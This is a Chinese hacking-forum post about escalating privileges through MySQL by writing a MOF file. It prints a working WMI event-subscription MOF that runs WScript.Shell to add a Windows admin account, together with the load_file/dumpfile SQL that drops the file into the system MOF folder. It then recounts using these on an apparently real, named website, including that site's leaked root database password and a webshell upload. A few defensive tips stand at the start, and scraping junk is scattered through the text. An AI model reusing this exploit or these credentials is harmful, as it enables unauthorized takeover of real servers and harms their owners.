中国网络渗透测试联盟

标题: Mysql mof扩展漏洞实例与防范 [打印本页]
作者: admin    时间: 2013-1-4 19:49
标题: Mysql mof扩展漏洞实例与防范
Mysql mof扩展漏洞防范方法
4 k' C3 D+ s% q, c7 r2 d5 a2 p, V/ V2 x3 }4 A, N7 h" U) p
网上公开的一些利用代码:
6 Z; w0 V  F$ X+ p4 {, m$ {9 P1 h$ e/ e2 Q0 ~) H
#pragma namespace(“\\\\.\\root\\subscription”)  l/ j" E6 o* L, c$ X8 v2 z# |
4 c" }8 c$ x" ^+ c
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
/ c7 [% V7 B6 l1 d: k+ \
5 B1 I$ R: {5 d- ?! O 4 G& O! ~/ f" Y

' g% ]0 m4 G+ E
2 q- R2 u! G8 \/ _
! Z8 H+ q. d! A; S8 v' z0 h连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;* J4 ]& w4 @+ l4 {2 q! a9 D
从上面代码来看得出解决办法：9 X0 }0 D" n  V5 B0 a/ _
+ K) y' A( O+ d% Y+ ~
1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数
# C* q3 Y* H1 i* q+ h5 t% M2 ^7 z2 w: e6 i( G# W" b: V
2、禁止使用”WScript.Shel”组件( z$ s0 X5 u* p( n8 @8 h
4 T  `- ^3 ?: r5 c+ u- p
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
- l% ]9 d/ A- j6 N. Z; W3 K1 T9 J& Y* R- F6 v
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下0 J# I+ H; ]) ]0 T) x5 ~
+ ?$ D8 v% q. ^6 W: y  L7 \
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权/ B; j+ I4 Y9 W' m

8 s/ N- U4 Z& b但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容3 S' f% C8 U) h
* O9 E. \+ O& X  i  B4 ]" B! C! b
看懂了后就开始练手吧
9 o6 v# h! Z' K6 @# B
  C, e  j9 M0 phttp://www.webbmw.com/config/config_ucenter.php 一句话 a
& p! T8 L8 W! b3 y  p0 [3 ]4 {+ e) G2 [; c
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。. X& O, Q" D: b, |, `4 }

0 K; X0 ^# Y8 C3 d6 v9 q0 Q$ B于是直接用菜刀开搞
5 H& _7 k. B! b- D% J
6 K4 H' ?) d% C3 u% G上马先
. ]) D- Q  S; Y/ d7 C2 ?" o0 w2 i2 e  p" _
既然有了那些账号 之类的 于是我们就执行吧…….
- I( Z9 s) j: y8 C4 j6 l
4 l  Q5 ?* u' b. x$ z- d4 U- O小小的说下
0 w, C7 C6 V1 T  B* Q' y
8 ?, Y7 W( s2 i2 r7 g  Q6 [在这里第1次执行未成功        原因未知
% ^( e/ c, k2 p2 y
6 w) `( B* G/ Q我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。1 H  {: ]- B# @4 d5 f+ k, @
) Q* |/ ~4 _  {. a! a0 F1 d
#pragma namespace(“\\\\.\\root\\subscription”)& v$ d( \& ?. z; e/ w

! R  i2 P1 [& N3 c' J$ ^* q# Winstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };/ C0 U9 K% D2 z

9 b+ a) O4 h! p7 W4 G4 d我是将文件放到C:\WINDOWS\temp\1.mof
, v8 ?/ @+ L( j, _$ z7 T" E2 B/ q$ n$ n( @
所以我们就改下执行的代码1 {% \" _) a" Y: @
5 E: _, Z& P4 U/ ]0 ?
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
3 d' m" n+ L6 R4 m1 Q7 w; K% Z. a% h7 e
) k' [' `/ C# ^" L& L% V
; b. N0 B5 `4 E# h- H
但是 你会发现账号还是没有躺在那里。。6 D' p: ~. M: j" T  y
; N: j) {2 n% p; ]
于是我就感觉蛋疼
: W0 R5 |- ]' O  A% o+ e  f
$ W* {3 z8 U% C4 U就去一个一个去执行 但是执行到第2个 mysql时就成功了………
0 G- y* }7 F- t/ g- _# {
, W2 s. W. h- ~9 E/ V( t+ O4 ?  W" A1 k- a0 c
' k& x0 Q) q! H3 l( M) Q
但是其他库均不成功…& I+ ?8 |  [6 _. x

# L; t7 N5 H( Y* G- |8 ?* d我就很费解呀 到底为什么不成功求大牛解答…
) t! T7 ^& a+ q. c* g8 ?/ s! }) W8 f" e! i
​
7 d, \3 @3 ]+ H& i% {5 d
% j! G1 r% r+ s  ~  Z8 I8 v



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2